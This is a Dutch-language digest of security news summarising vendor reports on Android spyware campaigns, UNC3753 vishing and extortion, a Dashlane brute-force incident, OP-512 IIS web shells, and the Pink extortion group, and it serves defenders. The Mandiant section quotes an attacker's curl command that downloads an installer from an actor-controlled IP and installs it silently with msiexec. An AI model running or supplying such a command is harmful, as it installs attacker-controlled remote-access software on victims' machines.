De websites die ESET heeft geïdentificeerd, zijn govlens[.]net, dat een overheidsnieuwsbron imiteert en op 27 mei 2025 is geregistreerd; pdf-reader[.]help, dat zich voordoet als een veilige PDF-editor en op 29 mei 2025 is geregistreerd; en live-war-map[.]com, dat updates over militaire incidenten belooft en op 20 januari 2025 is geregistreerd. Twee van deze websites, govlens[.]net en live-war-map[.]com, werden ook gepromoot via speciale accounts op sociale mediaplatforms zoals Facebook en Telegram, waaronder de Facebook-pagina www.facebook[.]com/GovLens.

Volgens ESET distribueert elk van deze websites een kwaadaardige app die legitieme functionaliteit combineert met heimelijke spywaremogelijkheden. Het cybersecuritybedrijf merkt op dat de naam van het Telegram-kanaal waarschijnlijk is geïnspireerd op Live Universal Awareness Map (Liveuamap), een legitiem en bekend platform dat zich richt op het in kaart brengen van lopende conflicten, mensenrechtenkwesties, natuurrampen en geopolitieke gebeurtenissen wereldwijd.

Meerdere artefacten die verband houden met Asin zijn inmiddels geïdentificeerd. Een daarvan werd in oktober 2025 vanuit Turkije geüpload naar VirusTotal. Een andere APK werd in december 2025 gedownload van het domein c-pdf[.]net door een gebruiker op een Xiaomi Redmi Note 13 Pro-apparaat met Android 15. Een derde sample, dat zich voordeed als "Syria Defense Map", werd rond half januari 2026 gedetecteerd op een Xiaomi Redmi Note 13 Pro+ 5G-apparaat met Android 15. In dit laatste geval werd de APK gedownload van de website syriadefensemap[.]com. Gebruikers moeten de app handmatig installeren en de benodigde machtigingen verlenen voordat de spyware zijn doelen kan realiseren.

De activiteit van de groep achter Asin is volgens ESET nog niet toegeschreven aan een specifieke actor en de primaire doelen van deze campagnes zijn onbekend. Echter, op basis van de gebruikte lokmiddelen wordt vermoed dat journalisten en OSINT (Open Source Intelligence)-onderzoekers in Arabischtalige regio's het doelwit kunnen zijn geweest. Drie van de vijf frauduleuze apps die ESET heeft ontdekt - GovLens, WarMap en Syria Defense Map - lijken voornamelijk bedoeld voor mensen die geïnteresseerd zijn in openbronnenonderzoek. Dit suggereert dat de activiteiten, in ieder geval gedeeltelijk, gericht waren op Arabischtalige journalisten of OSINT-professionals.

Bron: ESET | Bron 2: welivesecurity.com

De Google Threat Intelligence Group Mandiant heeft een financieel gemotiveerde campagne voor datadiefstal en afpersing blootgelegd, uitgevoerd door de dreigingscluster UNC3753, ook bekend onder de namen "Luna Moth", "Chatty Spider" en "Silent Ransom Group". Tussen januari en mei 2026 werden tientallen organisaties in de professionele, juridische en financiële dienstverlening in de Verenigde Staten het doelwit. Deze aanvallers maken gebruik van geavanceerde voice phishing (vishing) en sociale engineering technieken om toegang te verkrijgen tot bedrijfsomgevingen.

De campagne begint vaak met goedaardige, factuur gerelateerde e-mails die geen kwaadaardige links of bijlagen bevatten. Het primaire doel van deze e-mails is het creëren van een voorwendsel en het wekken van interne beveiligingsbezwaren bij het doelwit, waardoor zij ontvankelijker worden voor daaropvolgende telefoongesprekken.

UNC3753 voert vervolgens gerichte vishing aanvallen uit. De actoren doen zich voor als IT ondersteuning of leden van het interne beveiligingsteam en benaderen medewerkers van alle niveaus, vaak personen wier contactgegevens openbaar op de website van de organisatie staan vermeld. Onder het mom van het oplossen van een beveiligingsprobleem of het ondersteunen van een datamigratieproject, bouwen de aanvallers vertrouwen op en overtuigen zij het slachtoffer om deel te nemen aan een schermdeel sessie en Remote Monitoring and Management (RMM) tools te downloaden.

Eenmaal binnen de omgeving zoeken de dreigingsactoren direct naar en exfiltreren zij gevoelige gegevens, of manipuleren zij het slachtoffer om deze acties namens hen uit te voeren. De gestolen data omvat doorgaans bedrijfseigen juridische overeenkomsten, persoonlijk identificeerbare informatie (PII) en financiële gegevens, die vervolgens worden gebruikt voor afpersingsdoeleinden.

Een bijzonder zorgwekkend aspect van deze campagne is dat in sommige gevallen, mogelijk gelinkt aan UNC3753, de dreigingsactoren fysiek toegang hebben verkregen tot systemen van slachtoffers. Personen die zich voordeden als IT technici betraden bedrijfskantoren om direct data van endpoints te exfiltreren met behulp van USB opslagmedia.

Het operationele model van UNC3753 kenmerkt zich door een hoge snelheid. In veel onderzochte incidenten vond de gehele aanvalssequentie - van initieel contact tot datadiefstal en afpersing - plaats binnen één werkdag. Mandiant heeft recentelijk waargenomen dat het zoeken naar data, het klaarzetten en de diefstal al in minder dan een uur werden geïnitieerd.

Voor schermdeel sessies maken de aanvallers gebruik van legitieme diensten zoals Zoom, Microsoft Terminal Services, Microsoft Teams en Quick Assist. Voor meer persistente toegang proberen zij slachtoffers te overtuigen om RMM agents zoals AnyDesk, Bomgar of Zoho Assist te installeren. In één geval werd geprobeerd een "SuperOps RMM agent" te installeren via een cURL commando, zoals: `curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet`. De communicatie van installatielinks en commando's gebeurt consistent via privnote[.]com, een web gebaseerde, zelfvernietigende tekst utility, om sporen op endpoints te vermijden.

Bron: Mandiant | Bron 2: virustotal.com

Wachtwoordmanager Dashlane heeft meer details vrijgegeven over een recente bruteforce aanval waarbij de wachtwoordkluis van een klein aantal klanten werd gestolen. De aanvallers richtten zich op de API endpoints die Dashlane gebruikt voor de registratie van nieuwe apparaten.

Gebruikers van Dashlane kunnen extra apparaten, zoals telefoons of computers, aan hun account toevoegen. Voor de verificatie van de identiteit van de accounthouder stuurt Dashlane een zescijferig token naar het e-mailadres van de gebruiker. Indien tweefactorauthenticatie (2FA) is ingeschakeld, moet de gebruiker een code genereren via een authenticatie app. De ontvangen of gegenereerde code wordt vervolgens in de Dashlane app ingevoerd. Na succesvolle verificatie registreert Dashlane het nieuwe apparaat en downloadt een kopie van de online wachtwoordkluis naar het zojuist toegevoegde apparaat.

Bij de bruteforce aanval verstuurden de aanvallers een groot aantal geautomatiseerde requests naar de API endpoints voor apparaatregistratie. Voordat de aanval volledig kon worden gestopt, slaagden de aanvallers erin om geldige tokens te bruteforcen en te genereren voor minder dan twintig gebruikers. Dit stelde de aanvallers in staat om een nieuw apparaat aan het account van deze gebruikers toe te voegen, waarna de versleutelde wachtwoordkluis op het apparaat van de aanvaller werd gedownload.

Dashlane benadrukt dat de gestolen wachtwoordkluizen versleuteld zijn. Om toegang te krijgen tot de inhoud, moeten de aanvallers het master password van de betreffende accounts kraken. De wachtwoordmanager heeft aangekondigd extra verificatiemaatregelen te zullen invoeren voor het toevoegen van nieuwe apparaten om dergelijke aanvallen in de toekomst te voorkomen.

Bron: Dashlane

Cybersecurityonderzoekers hebben een voorheen onbekende dreigingsgroep genaamd OP-512 (waarbij "OP" staat voor "opponent") ontdekt, die zich richt op Microsoft Internet Information Services (IIS) servers om een op maat gemaakt web shell framework te implementeren. ReliaQuest schat met matig tot hoog vertrouwen in dat deze spionagegerichte activiteit gerelateerd is aan China.

Volgens een rapport van ReliaQuest voerde OP-512 hoogstwaarschijnlijk spionage uit via een gecompromitteerde IIS-webserver bij een organisatie waarvan de sector en geografie overeenkomen met de inlichtingenprioriteiten van China. Hoewel er geen overlappingen zijn gevonden tussen OP-512 en andere bekende Chinese adversarials, is het de vierde dergelijke dreigingsgroep - na CL-STA-0048, DragonRank en GhostRedirector - die zich de afgelopen twaalf maanden specifiek richt op IIS-webservers. Vorige maand onthulde Cisco Talos nog dat meerdere Chinese cybercrimegroepen een variant van malware genaamd BadIIS delen om IIS-servers te infecteren. Ook SHADOW-EARTH-053 heeft zich gericht op IIS-servers als onderdeel van een spionagecampagne die overheids- en defensiesectoren in Zuid-, Oost- en Zuidoost-Azië trof.

De kern van de operaties van OP-512 is een op maat gemaakt web shell framework, bestaande uit drie web shells. Deze geven de aanvallers toegang op afstand tot de gecompromitteerde host, terwijl stappen worden ondernomen om op handtekeningen gebaseerde detectie te omzeilen. Ze bemoeilijken forensische tijdlijnen door technieken zoals timestomping te gebruiken, waarbij de tijdstempels van web shell artefacten opzettelijk worden gemanipuleerd. Dit houdt concreet in dat alle bestanden en submappen rondom de geplaatste web shells worden gescand, de mediane 'laatst gewijzigd'-tijdstempel wordt berekend, en de eigen aanmaak- en wijzigingstijden worden overschreven om overeen te komen met deze waarde. Dit geeft de indruk dat de web shells al langere tijd aanwezig zijn op het systeem.

ReliaQuest merkte op dat dit framework capaciteiten combineert die zelden samen worden gezien. Elke implementatie wordt uniek gegenereerd, toegang is beperkt tot de aanvaller via cryptografische controles, en gecompromitteerde servers rapporteren automatisch terug voor gecentraliseerd beheer op schaal.

OP-512 vertoont tactische gelijkenis met CL-STA-0048, wat de mogelijkheid doet rijzen dat het een bestaande groep betreft die zijn toolset volledig heeft vernieuwd, of dat het deze capaciteiten onafhankelijk heeft ontwikkeld. Ongeacht de oorsprong wordt de hackinggroep beschouwd als een afzonderlijke cluster die autonoom opereert.

Bij de door het cybersecuritybedrijf geobserveerde aanval bleek de dreigingsactor zich te richten op een oudere IIS-server die draaide op Windows Server 2016 met het end-of-life .NET Framework 4.0. Er was bewijs van eerdere activiteit op dezelfde host, ongeveer 75 dagen voordat het hoofincident plaatsvond. Dit omvatte DNS-query's naar een ander, door de aanvaller gecontroleerd domein ("ashx.lhlsjcb[.]com").

De reeks acties die weken later volgde, wordt beschreven als een "sprint", waarbij de aanvaller het worker-proces van de webserver ("w3wp.exe") gebruikte om een van de web shells in de uploadmap van de applicatie te plaatsen. Dit activeerde op zijn beurt een zelfrapporterend mechanisme dat een DNS-query of een HTTP-verzoek als fallback gebruikt om de locatie van de web shell naar een door de aanvaller gecontroleerd domein te verzenden. De onderzoekers van ReliaQuest legden uit dat de drie web shells de aanvaller gezamenlijk bestandsbeheer, geauthenticeerde command-uitvoering via twee onafhankelijke toegangspaden, en geautomatiseerde rapportage van de compromittering gaven, nog voordat iemand tijd had om te reageren.

Nadat de web shells waren geïmplementeerd, heeft OP-512 geprobeerd privileges te escaleren naar het SYSTEM-niveau met behulp van de Potato Suite. Vervolgens werden commando's zoals "whoami /priv" uitgevoerd om de systeemrechten te bevestigen. ReliaQuest stelt dat vier aan China gerelateerde clusters die dezelfde technologie in minder dan een jaar tijd aanvallen, waarschijnlijk geen toeval is. Internet-gerichte IIS-servers die verouderde, niet-ondersteunde software draaien, blijven een voorkeurstoegangspunt binnen dit dreigingsecosysteem en vertonen geen tekenen van vertraging. Het meest zorgwekkende aan OP-512 is dat deze dreigingsgroep geen standaard tools gebruikt, maar een speciaal gebouwd framework dat is ontworpen om de detectiemethoden te omzeilen die effectief zijn tegen de andere drie clusters. Organisaties die hun verdediging hebben afgestemd op bekende actoren, zijn hier waarschijnlijk niet tegen gedekt.

Bron: ReliaQuest

Een nieuwe cybercrime groep, genaamd Pink, richt zich op bedrijfsdata voor financiële afpersing. De onderzoekstak van Palo Alto Networks, Unit 42, heeft deze dreiging als eerste blootgelegd. De groep wordt vermoedelijk gelinkt aan het bredere Com netwerk en door de onderzoekers gevolgd onder de cluster code CL-CRI-1147. Op 31 mei 2026 lanceerde Pink een speciale data lek site, waarop de namen van diverse eerste slachtoffers verschenen. Voortbouwend op de data van Unit 42, publiceerde beveiligingsanalysebedrijf Gurucul op 4 juni 2026 een aanvullende analyse om bedrijven te helpen de sporen van de groep binnen bedrijfsnetwerken te detecteren.

Uit onderzoek van Unit 42 blijkt dat Pink traditionele malware payloads vermijdt. In plaats daarvan vertrouwen de dreigingsactoren op voice phishing, of vishing, om zakelijke gebruikers te targeten. Door zich telefonisch voor te doen als interne ICT-medewerkers, manipuleren de hackers werknemers om frauduleuze inlogpagina's te bezoeken, zoals passkeyadd.com of passkeydeploy.com.

Wanneer een werknemer in de val trapt en zijn gegevens invoert, stelen de hackers de actieve inlogsessie. Dit stelt hen in staat om de meervoudige authenticatie te omzeilen. Vervolgens krijgen zij toegang tot het Microsoft 365 systeem van het bedrijf en gebruiken zij de eigen geautomatiseerde tools van Microsoft om cloud opslag te doorzoeken. Binnen enkele minuten worden gevoelige bestanden uit OneDrive en SharePoint mappen gehaald.

Zodra de data is veiliggesteld, begint de afpersing. Pink gebruikt de gecompromitteerde werknemersaccounts om e-mails naar collega's te sturen en interne Microsoft Teams berichten te verzenden, waarin betaling wordt geëist. Bestuurders krijgen een strakke deadline van 72 uur om te reageren.

Na de openbaarmaking door Unit 42 analyseerde Gurucul hoe Pink na de initiële toegang opereert op lokale werkstations. In een advies dat op 4 juni 2026 werd gepubliceerd, merkte Gurucul op dat Pink bestandsloze methoden gebruikt om verborgen te blijven. In plaats van een omvangrijk, opvallend virus op een harde schijf te downloaden, implementeren de hackers kleine code commando's die zich verbergen in legitieme systeempaden. De software bouwt zijn hoofdcode direct op in de tijdelijke geheugencache van de computer, waardoor deze volledig onzichtbaar is voor standaard antivirus mapscanners. Gurucul ontdekte ook dat de code eerst de computeromgeving controleert; als het een sandbox of een analyse laboratorium van beveiligingsteams detecteert, verbergt het zijn gedrag.

Omdat Pink legitieme cloud tools en authentieke accounttoegang gebruikt, hebben standaard firewalls moeite om de dreiging te detecteren. Experts adviseren werknemers te trainen om onverwachte telefoontjes van de ICT-afdeling onafhankelijk te verifiëren. Degenen die verantwoordelijk zijn voor netwerkbeveiliging moeten ook zoeken naar ongebruikelijke geautomatiseerde scripts in hun logs, de bekende webdomeinen van de groep blokkeren en gedragsmonitoring gebruiken om massale, plotselinge bestand downloads te onderscheppen voordat de data het bedrijf verlaat.

Bron: Palo Alto Networks' Unit 42 | Bron 2: github.com | Bron 3: gurucul.com